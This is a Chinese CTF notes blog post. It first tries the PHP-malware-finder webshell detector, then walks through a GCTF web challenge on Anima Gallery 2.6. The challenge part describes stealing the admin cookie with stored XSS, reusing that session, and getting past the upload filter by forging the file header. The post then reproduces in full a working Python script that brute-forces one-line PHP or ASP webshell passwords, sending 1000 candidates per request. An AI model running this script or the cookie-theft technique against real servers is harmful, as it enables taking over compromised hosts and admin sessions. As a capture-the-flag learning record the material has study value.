欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

gctf-webshell相关 6.24

程序员文章站 2022-06-22 15:57:29
...


安装PHP-malware-finder

无意间看到一篇推文,推荐PHP-malware-finder, 是一款优秀的检测webshell和恶意软件混淆代码的工具。
先安装试试

安装问题

brew install yara
先安装yara,提示报错
Could not symlink lib/libyara.3.dylib
/usr/local/lib is not writable.

sudo chown -R "$USER":admin /usr/local
赋予权限

brew link yara

提示安装成功:

Linking /usr/local/Cellar/yara/3.6.1... 10 symlinks created

测试

给了一个很长的路径后,发现它会遍历目录去检测。

索性将之前找的webshell大全复制到一个比较短的目录里。
gctf-webshell相关 6.24

查杀效果似乎还不错。

试试真实环境:

好像只能是本地环境的。还以为是可以爬网站路径,并且查杀webshell =c=。
应该是用于自我检测的工具吧~


gctf-WEB-WEB综合

当时做了这题做了好久,还没有搞出来
自己的思路就是看到网页源代码的提示:<!-- Keep this line if you did not pay for this --> Powered By Anima Gallery 2.6

然后搜索找到Anima Gallery 2.6相关的3个漏洞,其中有2个用不了,还有一个xss是可以使用的。
估计是自己对xss的利用的积累还没够,所以没有相应的思路。

当时看到了有人上传了php脚本,就想找上传点。
然后自己是下了Anima Gallery 2.6的源码,本地看了一下,确实要admin权限才能上传。

看了下writeup,有2种猥琐思路

思路1:**webshell

思路2:xss打cookie

平台搭建的环境已经不能用了,所以自己本地搭建环境测试一波。

在评论处:插入xss代码打admin的cookie

gctf-webshell相关 6.24

发现只要管理员一访问相应的页面,就能收到一些cookie。

gctf-webshell相关 6.24

替换cookie登录,发现登录到了admin页面。
gctf-webshell相关 6.24

用modify-header神器,每次访问都修改cookie

gctf-webshell相关 6.24

看到存在文件上传,于是尝试上传php文件,发现总是被禁,但好像不是文件后缀的问题。。于是想到伪造文件头绕过服务器文件检查的套路。。
gctf-webshell相关 6.24

本地搭建的环境,mac下又没有菜刀,java版的菜刀又运行不起来,真是蛋疼。

当时看到有xx.php,猜测是phpwebshell,但是又想**一下。苦于自己之前只试过用bruosuite里面的post方式去**webshell。
gctf-webshell相关 6.24

**webshell

没试过get方法去**过webshell。

writeup中有get方式**的python代码

# -*- coding: UTF-8 -*-
#coding by v5est0r
#单次多变量提交变量方式,一句话**提速千倍

import requests,sys
import ConfigParser

shell = sys.argv[1]
shell_type=sys.argv[2]
pass_dic=sys.argv[3]



post_data = {}  #创建字典集
s = open(pass_dic,'r')
content = s.readlines() #分行读取字典
dics = len(content)/1000

print '当前字典中变量个数为: %s' % str(len(content))

print "字典将被分割为 %s 份" % str(dics)

group = []  #字典每行独立化,写入元组
for h in range(0,len(content)):
    password = str(content[h]).strip('\n')  #剔除换行符
    group.append(password)
#print group


if str(shell_type)=="php":
    post_test = {'test_pass_test': 'echo "test!!";'}
    res = requests.post(shell, data=post_test)
    wrong_res = res.text
    post_test.clear()

    for i in range(0, dics):
        new_group = []
        for k in range(i * 1000, (i + 1) * 1000):
            new_group.append(group[k])
            k += 1
        for each in new_group:
            post_data[each] = 'echo "password is %s";' % each
        r = requests.post(shell, data=post_data)
        print "正在进行第 %s 组字典**" % str(i + 1)
        post_data.clear()
        i += 1
        print r.text
        if len(r.text) != len(wrong_res):
            break

    new_group1 = []
    for kk in range(dics * 1000, len(content)):
        new_group1.append(group[kk])
        kk += 1
    for each in new_group1:
        post_data[each] = 'echo "password is %s";' % each
    r = requests.post(shell, data=post_data)
    print "正在进行余数字典**"
    print r.text

#v5est0r=response.write("password:v5est0r")

if shell_type =='asp':
    # 下面建立错误密码的返回标识符
    post_test = {'test_pass_test': 'response.write("test!!!")'}
    res = requests.post(shell, data=post_test)
    wrong_res = res.text
    post_test.clear()

    for i in range(0, dics):
        new_group = []
        for k in range(i * 1000, (i + 1) * 1000):
            new_group.append(group[k])
            k += 1
        for each in new_group:
            post_data[each] = 'response.write("password: %s")' % each
        r = requests.post(shell, data=post_data)
        print "正在进行第 %s 组字典**" % str(i + 1)
        post_data.clear()
        i += 1
        print r.text 
        if len(r.text) != len(wrong_res):
            break#密码正确的话,返回的长度不为0,这个就是正确的密码

    new_group1 = []
    for kk in range(dics * 1000, len(content)):
        new_group1.append(group[kk])
        kk += 1
    for each in new_group1:
        post_data[each] = 'response.write("password: %s")' % each
    r = requests.post(shell, data=post_data)
    print "正在进行余数字典**"
    print r.text

利用的原理:
当输入的密码错误时,返回的数据为空
当输入的密码正确时,可以执行eval函数,服务器会返回echo里面的内容。

例子:
gctf-webshell相关 6.24